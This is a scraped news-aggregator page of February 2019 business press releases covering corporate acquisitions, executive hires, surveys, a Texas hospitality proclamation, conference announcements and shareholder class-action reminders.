TABB Group CEO Bruce Morris announced today the acquisition of Securities Operations Forum from The Summit Group in its continuing effort to broaden TABB's strategic information resources and services available to the financial services industry. TABB Training will be led by training industry veteran Ledia Koka. "For more than 20 years, Securities Operations Forum has enriched the educational and professional stature of over 50,000 existing and aspiring executives in the financial services markets,"said Morris. "By combining TABB Group's international market expertise, consulting services and research content offerings in equities, fixed income, derivatives, futures, cryptocurrency, fintech and regtech, along with our deep market reach, will allow us to provide new and enhanced training programs to individuals and companies through a wide offering of classroom, custom and virtual-training programs."



"I'm very excited for the opportunity," said Koka, "to be linked with the industry's financial markets thought leader and Securities Operations Forum reputation for excellence, helping TABB extend their content-rich and footprint into training." Securities Operations Forum has offered open-enrollment courses focused on topics of interest to operations professionals in the financial industry. The small size of classes encourages students to interact with instructors, all practicing professionals in the industry. Students have enrolled from banks, broker/dealers, investment managers, funds, consulting firms and vendors. Courses have included: Introduction to the Securities Industry; International Issues; Corporate Actions; Capital Markets; Portfolio Management; Managing Risk; Financial Management; Fixed Income Securities; Accounting, Regulatory & Management; Derivatives; and Mutual Funds.

About TABB Group With offices in New York and London, TABB Group is the international research and consulting firm focused exclusively on capital markets, based on the interview-based, "first-person knowledge" research methodology developed by Larry Tabb. For more information, visit www.tabbgroup.com View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005523/en/

[ Back To TMCnet.com's Homepage ][February 13, 2019]

Accelerance Certifies Pointwest as a Top Software Outsourcing Company in Manila

CHARLOTTE, N.C., Feb. 13, 2019 /PRNewswire/ -- Accelerance, a US-based consulting firm which helps technology leaders create and execute effective strategies for global software outsourcing, announced partnership with Pointwest , a Filipino software development company. Pointwest is now an Accelerance Certified Partner and joins the elite 1% of software development companies known as the Accelerance Global Network.

As a Certified Partner in the Accelerance Global Network each company is investigated across over 500 business and technology criteria . These data points ensure each Certified Partner is prepared to succeed within Western markets as an outsourcing software development team. As the final step in the certification process, Accelerance visited the Philippines to perform an on-site visit with Pointwest and validate all initial findings for outsourcing readiness, HR practices, team members, facilities, training practices and security validation.

"After the conclusion of our recent trip to the Philippines , we firmly believe that Pointwest is not only an established company, but ill be a welcome addition to the Accelerance Global Network. We're excited to see how this partnership develops over time," says Andy Hilliard, President and CRO of Accelerance.







Accelerance Partner Showcase Provides Deep Insights for Companies Interested in Offshore Software Development

Accelerance published all their investigative findings in the Pointwest Partner Showcase - a groundbreaking resource for companies looking to outsource software development. The showcase provides in-depth company reviews and interviews with key company leaders on topics such as: capabilities, processes, and company reviews.

To learn more about the certification of Pointwest, click here .

Pointwest is a top offshore software services provider with leadership affirmed through the International ICT Awards' Hall of Fame recognition for "Best Filipino-Owned Company," and extensive industry experience recognized in financial services, retail, transportation, logistics, travel, healthcare, utilities, media, and the public sector. Pointwest transforms businesses for the fourth industrial revolution with digital offerings in Data Analytics, Data Management, Robotic Process Automation, Experience Design, Cyber Security, Mobility, and Cloud Computing.

Founded in 2003, Pointwest creates value for its clients which include top Fortune 100 and local companies. Pointwest offers world-class Digital Technology and BPM services backed by international-standard methodologies and innovative practices. Pointwest is proud to bring the mark of Filipino IT and BPM excellence to all corners of the globe, with strong presence in the United States, Japan, Australia, New Zealand and Singapore.

About Accelerance, Inc.:

Accelerance provides professional guidance for planning, sourcing and managing global software teams. By working with Accelerance, clients tap into domestic software development leadership and the largest network of proven software outsourcing companies in the world.

View original content to download multimedia:http://www.prnewswire.com/news-releases/accelerance-certifies-pointwest-as-a-top-software-outsourcing-company-in-manila-300794969.html

SOURCE Accelerance[February 13, 2019] The State of Texas Honors its Service Industry Professionals with Proclamation

AUSTIN, Feb. 13, 2019 (GLOBE NEWSWIRE) -- The Governor of Texas, Greg Abbott, released a proclamation today, claiming 2.13 as Hospitality Industry Appreciation Day to honor those professionals who work in the hospitality industry in the state of Texas. Two Austin-based communities - Seasoned and In the Weeds - teamed up to secure the day on behalf of the industries they serve.

In Texas, more than 1.3 million people work in the restaurant, retail and hospitality industries, making the state the second-largest employer in the Leisure and Hospitality sector according to the Bureau of Labor Statistics 2018 data. The hospitality industry encompasses a wide array of business, from hotels to restaurants to event planning and more. Whether preparing a warm meal for a neighbor or providing lodging for travelers, the hard workers who sustain this industry go out of their way to make all that enter their establishments feel welcome. Texans are known for their can-do spirit and generous hospitality. I join in recognizing and celebrating the importance of the hospitality industry in Texas, and encourage everyone, Texan and non-Texan alike, to explore this industrys contribution to the states continued growth and prosperity, said Greg Abbott, the Governor of Texas. Seasoneds mission is to continually improve the lives and livelihoods of the food service professionals we erve, said Ware Sykes, CEO at Seasoned. We believe in rolling up our sleeves to plant roots in the communities we call home. For us, that starts in the capital of this great state, Austin and the 125,000+ people serving in the citys restaurant, retail and hospitality sectors. Were honored to bring this proclamation forward and grateful to Governor Abbott for recognizing February 13th as Hospitality Industry Appreciation Day.



Its an honor to be a champion for this industry, added KC Hensley, founder of the In the Weeds and Community and Development Manager at Seasoned My hope is that we can all take time - whether were service industry professionals or not - to give back to and strengthen our industry any way we can. Seasoned and In the Weeds share a similar vision to connect and build a community for service industry professionals that provides training and inspiration for better growth, better opportunities, and better livelihoods.

About Seasoned

Seasoned is the first hospitality-centric community designed to connect professionals with jobs and career-development resources, as well as employers with qualified candidates. From cooks and dishwashers to servers and hosts, gig workers to lifers, Seasoned aims to help improve the lives and livelihoods of those who work hard serving others. Seasoned is a sister company to restaurant industry veteran, HotSchedules, also a TPG Growth-funded company. Visit https://www.seasoned.co/ to learn more. About In the Weeds

In 2013, In the Weeds began as a Facebook group with the mission to unite the service industry through education, positivity, and a supportive community. Today, the community is made up of over 12,000 members in Austin and a growing base in Dallas, Houston, and San Antonio. This year, Seasoned and In the Weeds teamed up to build a messaging and collaboration app to better connect the service-industry network. The app is now in beta for the greater Austin area and available for download on the iTunes and Google Play stores. Media Contact

Juan Jaramillo

415-930-2527

juan.jaramillo@seasoned.co

[ Back To TMCnet.com's Homepage ]Travelers Institute to Tackle Distracted Driving, Cybersecurity, Severe Weather and More in 2019

The Travelers Institute, the public policy division of The Travelers Companies, Inc. (NYSE: TRV), today announced its series of 2019 educational forums focused on combating distracted driving, managing cyber risks, insuring autonomous vehicles and preparing for severe weather events. Programs are free and open to the public.

"We saw great engagement throughout our symposia series in 2018 and look forward to continuing to raise awareness of important social topics across the United States and Canada," said Joan Woodward, President of the Travelers Institute and Executive Vice President of Public Policy at Travelers. "By bringing together community members, entrepreneurs, business leaders and students, we hope these events will help to identify solutions that will generate real change for widespread societal issues and help people and businesses stay safe."

The first symposium of the year will be "Disrupting Distraction," part of the Travelers Institute Every Second Matters? series. It will be held today at Butler University in Indianapolis, Indiana, beginning at 6 p.m. ET. This series brings attention to alarming distracted-driving trends contributing to traffic fatalities and highlights innovative approaches to help prevent distractions and encourage safer behaviors.

Today's event - co-hosted by the Travelers Institute, the Butler University Lacy School of Business, Independent Insurance Agents of Indiana, the Insurance Institute of Indiana, the National Safety Council, the Road to Zero Coalition and Gamma Iota Sigma - will feature a panel discussion moderated by Woodward and presentations from speakers, including:







Bob Bringgold, National Director of Transportation, Risk Control, Travelers.

Kathy Lane, Senior Director, Public Relations, National Safety Council.

Kevin Perry, Second Vice President, Underwriting, Travelers BoilerRe, Travelers.

Bill Weber, Senior Officer, Butler University Police Department.

"Constant connection is so highly valued in our society, but the urge to stay in touch can have devastating consequences," said Lane. "The Every Second Matters initiative and today's event will take us a step closer to reducing avoidable fatalities and injuries, and we're proud to be a part of the effort."

Travelers has also developed a new video series - "Unfinished Stories" - as part of its efforts to discourage distracted driving. The videos honor victims of distracted driving by imagining what might have been if the crash never occurred. The series is being shared across the company's social media channels and during Travelers Institute and other events. To see the latest video and other distracted driving content, click here.

Additional educational forums planned for 2019 include Cyber: Prepare, Prevent, Mitigate, Restore?, a series that provides guidance for small and midsize organizations to help them prepare for and respond to data breaches and other cyber incidents, and the annual "Kicking Off Hurricane Preparedness Season" symposium to be held at the start of the Atlantic hurricane season, as well as other events focused on natural disaster preparedness, autonomous vehicles and small business solutions.

Visit the Travelers Institute website to see the schedule of upcoming events and learn more about these initiatives.

About the Travelers Institute

The Travelers Institute, the public policy division of The Travelers Companies, Inc., engages in discussion and analysis of public policy topics of importance to the insurance marketplace and to the financial services industry more broadly. The Travelers Institute draws upon the industry expertise of Travelers' senior management, as well as the technical expertise of many of Travelers' underwriters, risk managers and other experts to provide information, analysis and solutions to public policymakers and regulators. Travelers is a leading provider of property casualty insurance for auto, home and business. For more information, visit www.travelers.com.

View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005421/en/[February 13, 2019] Women Increasingly View Company Stock as an Important Part of Their Benefits Package and Financial Strategy, Fidelity Survey Finds

Employers who are looking to attract and retain female employees should consider highlighting the role of company stock plans in their corporate benefits package, according to new research1 from Fidelity Investments. The survey results found that nearly half (49 percent) of women indicated a company stock plan is an important benefit when considering taking a job at a new company, and more than half (52 percent) of women said that access to a company stock plan increases loyalty to their employer. The findings are part of Fidelity's biennial survey that examines the evolving role of company stock plans within the corporate benefits landscape. While traditional benefits such as a 401(k), health insurance and vacation time continue to be popular among surveyed employees, company stock plans are increasing in importance, especially among women. According to the survey results, almost two-thirds of women (64 percent) felt that their company stock plan provided a sense of ownership in their organization, and 67 percent indicated they were very satisfied with their company's stock plan. The research also found that 48 percent of women indicated they work harder knowing that their company stock plan will reward them for their company's performance. "While the overall labor market is extremely tight, the competition for top female performers is even more intense," said Emily Cervino, Head of Thought Leadership, Stock Plan Services at Fidelity Investments. "Company stock plans have always been viewed as an important employee benefit, but they can be an even more strategic tool for employers looking to attract and retain strong female talent." Company Stock Programs Increasingly Seen as Financial Wellness Tool Fidelity also examined how employees are using company stock as part of their overall financial strategy, and found that more than two-thirds of respondents (67 ercent) consider company stock as part of their long-term investment plan. Here are several key findings:



Almost half of employees (47 percent) indicated they would prefer company stock over a cash award, an increase from 35 percent in 2016. When asked the main reason they prefer a company stock award over cash, 55 percent of employees indicated they feel their company stock will be worth more than if they invested a cash award.

Employees are almost three times more likely to sell company stock than borrow against their 401(k) if they have sudden need for cash. Almost two-thirds (63 percent) of respondents indicated they would sell company stock to raise cash, versus 23 percent that would tap their retirement savings account.

When asked how they feel their company stock will perform, nearly one-quarter (23 percent) of employees feel the value of their company stock will increase substantially in the next 1-3 years, a slight increase from 21 percent in 2016.

Employees are holding company stock, but not too long. Over one-third (36 percent) of respondents held their stock between seven and 24 months before selling, an increase from 29 percent in 2016. "The results of this year's survey really underscore the fact that the role of company stock continues to evolve and increase in importance in the eyes of employees, as well as play an increasingly important role in employees' overall financial wellness," added Cervino. About Fidelity Investments

Fidelity's mission is to inspire better futures and deliver better outcomes for the customers and businesses we serve. With assets under administration of $6.7 trillion, including managed assets of $2.4 trillion as of December 31, 2018, we focus on meeting the unique needs of a diverse set of customers: helping more than 28 million people invest their own life savings, 23,000 businesses manage employee benefit programs, as well as providing more than 13,000 financial advisory firms with investment and technology solutions to invest their own clients' money. Privately held for more than 70 years, Fidelity employs more than 40,000 associates who are focused on the long-term success of our customers. For more information about Fidelity Investments, visit https://www.fidelity.com/about. Keep in mind that investing involves risk. The value of your investment will fluctuate over time, and you may gain or lose money. Fidelity Brokerage Services LLC, Member NYSE, SIPC

900 Salem Street, Smithfield, RI 02917 Fidelity Investments Institutional Services Company, Inc.,

500 Salem Street, Smithfield, RI 02917 National Financial Services LLC, Member NYSE, SIPC,

200 Seaport Boulevard, Boston, MA 02110 875631.1.0  2019 FMR LLC. All rights reserved. 1 Survey conducted for Fidelity by CMI of 2,932 stock plan participants, both US (total: 1,448) and international (total: 1,484). CMI sent invitations and up to two reminders between March 15 and May 10, 2018. Surveys were collected through May 20, 2018. View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005403/en/

[ Back To TMCnet.com's Homepage ][February 13, 2019] CrowdOut Capital Launches Dallas Office with Key Hire

CrowdOut Capital LLC, a pioneering non-bank, private lender for middle market companies, today announced the opening of its Dallas office and the hiring of Stu Bell to lead the market. Bell has more than 20 years of experience in commercial banking and private equity. "From an investor and a borrower perspective, Dallas makes the most sense for our second office, and there is no one more qualified than Stu Bell to lead it," said Alexander Schoenbaum, CEO of CrowdOut Capital. "His background in private equity and commercial lending provides an invaluable perspective to our team. Stu's integrity and work ethic are perfectly aligned with our already growing company." CrowdOut experienced an 8X growth in loan originations in 2018, while expanding its investor network by 150 percent. The new Dallas office will accommodate the rapid company growth, which has grown its team by 100 percent year-over-year. Bellwill be Managing Director of the Dallas office, leading business development, managing customer retention and identifying lending opportunities.



Bell spent the bulk of his career in multiple senior roles at Comerica Bank. Most recently, he held leadership and consulting positions at Cypress Growth Capital and Teakwood Capital. A Dallas resident of more than 18 years, Bell received his Bachelor of Science in Finance from Trinity University in San Antonio and a Master of Business Administration from the McCombs School of Business at the University of Texas in Austin. Founded in 2015, CrowdOut is the first and only company in the market to use a web-based platform to offer individuals the opportunity to invest as little as $1,000 directly into corporate loans that range from $4 million to $50 million in size. Companies rely on CrowdOut to help reduce lending costs by streamlining the underwriting process and drastically reducing fees, which is in stark contrast to traditional financial institutions and other non-bank lenders. CrowdOut's underwriting includes extensive due diligence to ensure a comprehensive understanding of each company.

About CrowdOut CrowdOut Capital is a private lending syndication platform that offers profitable, middle market companies a better way to raise capital. Its tech-enabled marketplace provides a solution for companies seeking non-bank lending while offering family offices, institutional and accredited investors the opportunity to invest in private debt on a deal-by-deal basis. CrowdOut has led more than $170 million in originations since inception. To learn more, please visit www.CrowdOut.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005188/en/

[ Back To TMCnet.com's Homepage ][February 13, 2019] PyeongChang Forum 2019 Opens to Create a Global Discussion on the Earth and Its Citizens

The PyeongChang Forum 2019 will be held in Alpensia Convention Center in Pyeongchang County, Gangwon Province, South Korea from Feb. 13 to Feb. 15. The forum will be hosted by the Government of Gangwon Province and organized by Gangwon Convention&Visitors Bureau. PyeongChang Forum 2019 is the second edition of a large global forum launched last year to carry on the values and meanings of the 2018 PyeongChang Winter Olympics in South Korea. It will discuss various issues on the Earth and share core vision and future values that our humanity should keep in perspectives of humanities and science. By diagnosing complicated problems of the earth caused by rapid development such as climate change, the Forum will be a popular public forum and a networking platform that deeply discuss the way to lead substantial changes and actual citizens actions of international societies to achieve sustainability in the future. The PyeongChang Forum 2019 , which will be the largest forum in Asia, is expected to bring together about 1,000 participants -- experts at home and abroad, government, UN and NGO officials and members of the general public -- under the slogan of "At the Limit of Our Knowledge, Staring into the Future."



The forum comprises five sessions of lectures by distinguished Korean and foreign scholars and experts of international organizations, a seminar and Science Talk Concert. The forum will kick off with "Young Scientists Session" at 10 a.m. on Feb. 13. Well-reputed cosmologists Dr. Paul Davies and Dr. John D. Barrow are scheduled to discuss universe and humanity with young scientists.

In Session 1 on the theme of "Existence and Meaning," Dr. Nicholas Humphrey; Dr. Terrence W. Deacon; and Dr. Mary Evelyn Tucker will take the platform. Dr. Humphrey is known for his work on the evolution of human intelligence and consciousness. Speakers in Session 2 on the theme of "UN Global Citizenship: Leadership for Coexistence in Our Changing World" are Dr. Shahbaz Khan; H.E. Mr. Philipp Charwath; Mr. Maher Nasser; Dr. Ekkehard Ernst; and Mr. Martin Ford (News - Alert) , futurist and New York Times best-selling author of "The Rise of the Robots". Lecturers in Session 3 on the theme of "Abrupt Climate Changes" are Dr. Masahiro Watanabe; Dr. Johnny Chan; Dr. Ray Weiss; and Dr. Ki-Hong Min, professor of the school of earth system science, Kyungpook National University, Korea. In Session 4 on the theme of "Emerging Technology and Complexity," Dr. David Wolpert, professor and resident faculty, Santa Fe Institute, USA, Dr. Jacopo Grilli, and Dr. Michael Price (News - Alert) will give lectures. The Santa Fe Institute is dedicated to the multidisciplinary study of the fundamental principles of complex adaptive systems. For more information, please visit the official website of the forum at pyeongchangfr.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005268/en/

[ Back To TMCnet.com's Homepage ][February 13, 2019] [24]7.ai Appoints Digital Transformation Expert as Chief Operating Officer

SAN JOSE, Calif., Feb. 13, 2019 /PRNewswire/ -- [24]7.ai, a global leader in intent-driven customer engagement solutions, today announced the appointment of Rohan Ganeson as the company's chief operating officer. In this role, Ganeson will be responsible for overseeing core business functions related to the company's product business, from their creation to their success in the market. He will report directly to [24]7.ai Chief Executive Officer PV Kannan. "Adding Rohan to our leadership team marks an important milestone in our growth as a company," said Kannan. "His experience in leading digital transformation and customer experience gives him a unique perspective on our business. Rohan is the type of leader who can drive unparalleled alignment between our key technology functions and client-facing teams to deliver even more value to our clients." Ganeson brings a wide range of skills across multiple functions, with a proven track record for driving transformation and growth in international businesses. He has experience working in Asia, Australia, and North America, and prior o joining [24]7.ai he spent the last 10 years at Optus, one of Australia's largest telecommunications companies. At Optus, he served in a variety of leadership roles, most recently as Managing Director, Customer/Digital, where he was responsible for all of Optus's $6.5 billion customer business. Ganeson oversaw all digital and physical channels including contact centers, customer loyalty, data and analytics, and customer experience, and played a pivotal role in building Optus into a next-generation telecommunications company powered by analytics. Prior to Optus, he held leadership roles in companies including Keycorp, 3 Mobile and Hewlett Packard. He holds an MBA from the Melbourne School of Business, a degree in Advanced Management from Wharton Business School, and a BSc (with honors) in Computer Science from the University of Western Australia.



"[24]7.ai has been a pioneer in the customer experience space, and leader in artificial intelligence and chatbot technology," said Ganeson. "I look forward to working with the company's leadership team to deliver world-class digital transformation solutions to our global clients, and a personalized, predictive and effortless customer experience to consumers." About [24]7.ai

[24]7.ai is redefining the way companies interact with consumers. Using artificial intelligence and machine learning to understand consumer intent, the company's technology helps companies create a personalized, predictive and effortless customer experience across all channels. The world's largest and most recognizable brands are using intent-driven engagement from [24]7.ai to assist several hundred million visitors annually, through more than 1.5 billion conversations, most of which are automated. The result is an order of magnitude improvement in digital adoption, customer satisfaction, and revenue growth. For more information, visit: http://www.247.ai.

[24]7 and [24]7.ai are trademarks of [24]7.ai, Inc. All other brands, products or service names are or may be trademarks or service marks of their respective owners. Contact

Oindrila Hazra

Manager, PR and Analyst Relations

oindrila.hazra@247.ai View original content to download multimedia:http://www.prnewswire.com/news-releases/247ai-appoints-digital-transformation-expert-as-chief-operating-officer-300794640.html SOURCE [24]7.ai

[ Back To TMCnet.com's Homepage ]12 Historically Black Colleges and Universities Are Named 2019 Social Mobility Innovators

CollegeNET, Inc., a leading provider of web-based on-demand technologies for higher education and the developer of the Social Mobility Index (SMI), named 12 Historically Black Colleges and Universities Social Mobility Innovators for 2019.

The Social Mobility Index ranks nearly 1,400 four-year U.S. colleges and universities according to how successfully they enroll students from low-income backgrounds and graduate them into promising careers. The goal of the SMI -- now in its fifth year -- is to help redirect the attribution of "prestige" in the higher education system toward colleges and universities that are advancing economic mobility, the most pressing civic issue of our time.

The 12 HBCUs named Social Mobility Innovators for 2019 all rank among the top 10 percent of schools on the SMI. The schools are --

Winston-Salem State University

Florida A & M University

North Carolina A & T State University

North Carolina Central University

Prairie View A & M University

Grambling State University

Elizabeth City State University

Tennessee State University

South Carolina State University

Tuskegee University







Johnson C. Smith University

Southern University

"Most higher education rankings evaluate colleges and universities as if comparing brands for consumer purchase," says Jim Wolfston, CEO of CollegeNET. "The SMI, on the other hand, helps policymakers, students and their families see which colleges and universities are doing the most to drive U.S. economic mobility. We hope the SMI encourages more institutions to embrace and expand their role as conduits for restoring the promise of the American Dream. The first step in doing this is to identify and learn from colleges and universities like these 12 HBCUs."

Economic Inclusion Helps Spark Innovative Minds

"College education now constitutes the most important rung on the ladder of economic mobility," adds Wolfston. "But particularly when it offers a challenging environment populated with diverse ideas, personal backgrounds and viewpoints, a college does something even more important: it prepares students to encounter, navigate and appreciate the unfamiliar. Given that innovation always depends upon a person's ability to consider what could be different from their own assumptions and experiences, economic inclusion is thus not only a solution to a social justice issue, it is a key strategy for sparking innovative minds."

Affordability, Access, Equity and Opportunity

The 12 HBCUs were selected as CollegeNET Social Mobility Innovators for 2019 because they each offer a 21st century learning experience that makes a real difference in the lives of low-income students.

"HBCUs have a long history of educating exceptionally promising students from under-resourced families," says Elwood L. Robinson, Chancellor of Winston-Salem State University (WSSU) and an HBCU graduate himself. "We have always provided a nurturing environment that allows students to build confidence and cultivate leadership skills. This has given HBCUs an advantage in narrowing the academic success gap and improving social mobility. At Winston-Salem State University, we are committed to producing graduates who are critical thinkers, analytical problem solvers, effective communicators and innovative and creative collaborators who can thrive in our rapidly evolving and complex world."

Removing Barriers to Learning

WSSU -- which is the top-ranked HBCU on the SMI, and one of only five universities in the nation that has consistently ranked among the top 20 schools on the SMI over the past five years -- offers a 21st century educational vision that has recently been bolstered by several major academic grants.

Earlier this year, the Andrew W. Mellon Foundation awarded WSSU a $600,000 grant to strengthen its programs in the humanities. WSSU is one of the few public HBCUs -- and one of only five University of North Carolina System institutions -- to receive a grant over the Mellon Foundation's 50-year history. The three-year grant will provide the infrastructure to support faculty development and curriculum redesign for courses in art and visual studies, English, history and music. Indeed, over the next three years, WSSU faculty will restructure at least 54 humanities courses -- from introductory courses to the senior capstone course -- to support student success.

"Our strategic plan calls for a high-touch approach to bridge the gaps between students and their abilities to engage their education," says Anthony Graham, Provost and Chief Academic Officer at WSSU. "This grant will provide us with the resources to introduce these equitable practices throughout our humanities offerings. Research has found that this high-impact approach fosters student success and ensures that students obtain the essential skills they need to thrive in an ever-changing economy."

The Mellon announcement came just several months after WSSU reported a record $2.3 million in new National Science Foundation (NSF) grants that will help expand research opportunities for undergraduate students. The NSF funding will support research in chemistry, cybersecurity, biophysics, biology, psychology and STEM (Science, Technology, Engineering and Mathematics) education.

Reversing Economic Trends for the Betterment of Society

"The 12 HBCUs that have been named as Social Mobility Innovators for 2019 are providing world-class educational opportunity to promising students regardless of their economic background," says CollegeNET's Wolfston. "Their contribution and example are key at a time when economic mobility and the American Dream are rapidly deteriorating. Today, as tuitions at U.S. campuses continue to increase while economic inclusion declines, these 12 HBCUs provide a strong example for reversing these trends."

Acknowledging Institutional Excellence

CollegeNET acknowledges schools -- such as the 12 selected HBCUs -- that are fostering social mobility through innovative programs. CollegeNET presents the annual Social Mobility Innovator Awards to student success leaders from U.S. colleges and universities at the Social Mobility Summit -- an annual forum on economic inclusion and best practices for student success held in Portland, Oregon each summer. CollegeNET recently published an e-book that offers best practices from student success professionals who are pioneering innovative programs that support under-served and under-represented students' academic, personal and financial needs.

View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005257/en/Neel Bhatt, a UW assistant professor of otolaryngology, specializes in treating patients with voice problems. Through his work, he began to realize people did not like the sound of their own voices. With the transition to school over Zoom, many students can relate to the discomfort of hearin[February 13, 2019] Hagiwara Solutions to Showcase Products of High Japanese Quality at "embedded world 2019," Including SSDs for Industrial Equipment, Edge Computing Gateways, Rugged Tablet PCs

- Get "Novelty" Gift by Early Booking for Your Visit to "embedded world 2019"- OSAKA, Japan, Feb. 13, 2019 /PRNewswire/ -- Hagiwara Solutions Co., Ltd., which has been providing products of high Japanese quality flash memory storage for industrial market, will participate in "embedded world 2019," an exhibition of embedded systems to be held in Nuremberg, Germany, from February 26 to 28, 2019. The Japanese manufacturer, a member company of the ELECOM Group, is set to showcase its new products listed as below. (Images1: https://kyodonewsprwire.jp/prwfile/release/M000477/201902123085/_prw_PI1fl_6ROr0gQe.jpg) (Images2: https://kyodonewsprwire.jp/prwfile/release/M000477/201902123085/_prw_PI2fl_EPnMfgz2.jpg) Hagiwara Solutions has been developing storage products such as SSDs and SD cards for industrial market for more than 20 years. It has maintained the top market share in for industrial flash storage via its original firmware embedded in products as well as its technical support capability. Since 2018, the company has added to its lineup IPCs, rugged tablet PCs, single-board computers (SBCs) and motherboards for industrial equipment.



New products to be displayed at "embedded world 2019" 1. 3D NAND TLC/MLC/SLC SSDs

Two models -- M.2 2280 and CFexpress -- with their reliability enhanced by the original firmware. Also on display will be products that are going to be added to the company's lineup. 2. "Tiny Gateway," an edge computing gateway for IoT solutions A gateway containing high processing performance -- required for edge computing -- in a compact palm-size case 3. "ZEROSHOCK TABLET" for your tough work environment Capable of being used in a tough environment thanks to its IP65 dust-proof and water-proof functions, MIL-STD810G shock-resistant/vibration-resistant performance and environmental durability, which withstands temperatures from -10 to +50 degrees Celsius. The touch screen can be manipulated with gloves on, making the device well suited to wherever you work. 4. Maintenance Call PC equipped with a predictive maintenance function Equipped with a predictive maintenance function, it ensures non-stop operations of your business. It is easy to replace parts because of module structuring and perfectly fitting as an industrial controller as it is equipped with necessary HW features (Intel Core i5 CPU, fanless, thermal expansion). You are more than welcome to the company's booth when you visit "embedded world 2019." You can use the company's website to register the time/date of your planned visit to the booth. You will be presented with a novelty when you actually come to the booth. Use the link below to register the time/date of your planned visit to the booth https://www.hagisol.com/EW2019/ Exhibition name: embedded world 2019

Venue: Exhibition Centre Nuremberg, Nuremberg, Germany

Date: February 26 (Tuesday) - February 28 (Thursday), 2019

Booth location: Booth No.2-540, Hall No.2 SOURCE ELECOM CO., LTD.

[ Back To TMCnet.com's Homepage ]Mitsubishi Electric Unveils Six New Technologies at Annual R&D Open House

Mitsubishi Electric Corporation (TOKYO:6503) announced six new technologies, outlined below, at its annual Research and Development Open House held today at its headquarters in Tokyo, Japan, including three artificial intelligence (AI) technologies using the company's proprietary Maisart* AI.

* Mitsubishi Electric's AI creates the State-of-the-ART in technology

Mitsubishi Electric (News - Alert) R&D Strategy

Full release text: http://www.MitsubishiElectric.com/news/2019/0213-a.pdf

Mitsubishi Electric's Fast Stepwise-learning AI Shortens Motion Learning

The company announced today that it has developed an artificial intelligence (AI) technology capable of fast stepwise learning using a simulator to efficiently complete motion learning in a relatively short time using the company's Maisart AI technology.

Full release text: http://www.MitsubishiElectric.com/news/2019/0213-b.html

Behavioral-analysis AI Detects Slight Differences in Human Movements







The company announced today that it has developed a unique behavioral-analysis artificial intelligence (AI) using the company's Maisart AI technology.

Full release text: http://www.MitsubishiElectric.com/news/2019/0213-c.html

Mitsubishi Electric Develops Super Compact Power Unit and High Power Density Electric Machine for Hybrid Electric Vehicle

The company announced today that it has developed what is believed to be the world's smallest power unit for a two-motor hybrid electric vehicle (two inverters and one converter), measuring just 2.7 liters in volume, offering a world-leading 150 kVA/L power density.

Full release text: http://www.MitsubishiElectric.com/news/2019/0213-d.html

Mitsubishi Electric Develops Robust Sensing for Autonomous Driving

The company announced today that it has developed sensing technology for highly accurate detection of vehicle perimeters even in dense fog or heavy rain.

Full release text: http://www.MitsubishiElectric.com/news/2019/0213-e.html

Mitsubishi Electric Develops Simulation Technology for ZEB Operation

The company announced today that it has developed a simulation technology for predicting energy consumption and comfort levels to operate net zero energy buildings (ZEBs).

Full release text: http://www.MitsubishiElectric.com/news/2019/0213-f.html

Mitsubishi Electric Develops Multilingual Speech Recognition Technology that Automatically Identifies which Language is Spoken

The company announced today that it has developed what the company believes to be the world's first technology capable of simultaneous highly accurate multilingual speech recognition without being informed which language is being spoken, even when multiple people are speaking, using the company's compact Maisart AI.

Full release text: http://www.MitsubishiElectric.com/news/2019/0213-g.html

View source version on businesswire.com: https://www.businesswire.com/news/home/20190212005345/en/[February 12, 2019] ALLERGAN SHAREHOLDER ALERT: CLAIMSFILER REMINDS INVESTORS WITH LOSSES IN EXCESS OF $100,000 of Lead Plaintiff Deadline in Class Action Lawsuit Against Allergan plc. - AGN

NEW ORLEANS, Feb. 12, 2019 (GLOBE NEWSWIRE) -- ClaimsFiler, a FREE shareholder information service, reminds investors that they have until February 19, 2019 to file lead plaintiff applications in a securities class action lawsuit against Allergan plc. (NYSE: AGN), if they purchased the Companys shares between February 24, 2017, and December 19, 2018, inclusive (the Class Period). This action is pending in the United States District Court for the Southern District of New York.

Get Help Allergan investors should visit us at https://www.claimsfiler.com/cases/view-allergan-plc-securities-litigation-1 or call toll-free (844) 367-9658. Lawyers at Kahn Swick & Foti, LLC are available to discuss your legal options.



About the Lawsuit Allergan and certain of its executives are charged with failing to disclose material information during the Class Period, violating federal securities laws.

On December 19, 2018, the Company announced that it had halted the sale of its textured breast implants in the European market following a compulsory recall request from the French regulatory authority, Agence Nationale de Securite du Medicament, after the products CE Mark certification expired, amid concerns of a link to a rare form of cancer. On this news, the price of Allergans shares plummeted. The case is Cook v. Allergan Plc et al, No. 18-cv-12089. About ClaimsFiler ClaimsFiler has a single mission: to serve as the information source to help retail investors recover their share of billions of dollars from securities class action settlements. At ClaimsFiler.com, investors can: (1) register for free to gain access to information and settlement websites for various securities class action cases so they can timely submit their own claims; (2) upload their portfolio transactional data to be notified about relevant securities cases in which they may have a financial interest; and (3) submit inquiries to the Kahn Swick & Foti, LLC law firm for free case evaluations. To learn more about ClaimsFiler, visit www.claimsfiler.com .

[ Back To TMCnet.com's Homepage ][February 12, 2019] ARLO SHAREHOLDER ALERT: CLAIMSFILER REMINDS INVESTORS WITH LOSSES IN EXCESS OF $100,000 of Lead Plaintiff Deadline in Class Action Lawsuit Against Arlo Technologies, Inc. - ARLO

NEW ORLEANS, Feb. 12, 2019 (GLOBE NEWSWIRE) -- ClaimsFiler, a FREE shareholder information service, reminds investors that they have until March 25, 2019 to file lead plaintiff applications in a securities class action lawsuit against Arlo Technologies, Inc. (NYSE: ARLO), if they purchased the Companys shares issued in connection with its August 3, 2018 initial public offering (IPO). This action is pending in the United States District Court for the Northern District of California.

Get Help Arlo investors should visit us at https://www.claimsfiler.com/cases/view-arlo-technologies-inc-securities-litigation or call toll-free (844) 367-9658. Lawyers at Kahn Swick & Foti, LLC are available to discuss your legal options.



About the Lawsuit Arlo and certain of its executives are charged with failing to disclose material information during the Class Period, violating federal securities laws.

